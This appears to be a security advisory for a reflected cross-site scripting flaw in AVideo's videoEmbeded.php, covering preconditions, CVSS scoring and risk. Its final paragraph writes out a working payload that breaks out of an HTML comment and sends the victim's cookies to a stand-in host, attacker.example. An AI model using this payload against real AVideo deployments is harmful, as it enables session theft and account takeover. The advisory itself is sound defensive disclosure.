AVideo EUVD-2026-70393

No authentication is required of the attacker (PR:N). The AVideo instance must be reachable over the network by the victim's browser (AV:N, default deployment). The victim must be socially engineered into visiting the crafted videoEmbeded.php URL - passive user interaction is required (UI:P/UI:R). No non-default server configuration is needed; any default AVideo installation through commit c91b5975d is vulnerable. Exploitation value is highest when the victim holds an authenticated session, enabling session hijacking or CSRF amplification, but the vulnerability itself is triggerable against unauthenticated visitors as well (with lower impact). The primary limiting factor is the social-engineering requirement to deliver the crafted embed URL to a victim.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P) and score of 5.3 accurately characterise this as a network-reachable, low-complexity reflected XSS requiring passive user interaction - consistent with a phishing delivery model. No CISA KEV listing and no confirmed public exploit code exist at time of analysis, and EPSS data is absent from available intelligence, so exploitation probability cannot be independently quantified. The real-world risk is moderate but non-trivial: reflected XSS against video embed pages is particularly dangerous because embed URLs are routinely shared publicly on social media and third-party sites, enlarging the attacker's delivery surface well beyond a typical application. Even a mid-sized municipal IT team in bytom operating a public-facing AVideo deployment should treat this as an urgent phishing-chain risk, since a single click by an authenticated administrator could expose session cookies or enable CSRF-based account compromise. The absence of privilege requirements on the attacker side, combined with a legitimate-looking embed URL, raises social-engineering success rates above typical reflected XSS scenarios.

An attacker constructs a URL to videoEmbeded.php with the link parameter set to a value such as --><script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The attacker distributes this URL via a phishing email or embeds it in a third-party site where AVideo content is normally shared. When an authenticated victim clicks the link, the server reflects the unescaped payload inside the HTML comment, the browser closes the comment on -->, and the injected script executes, transmitting the victim's session cookie to the attacker.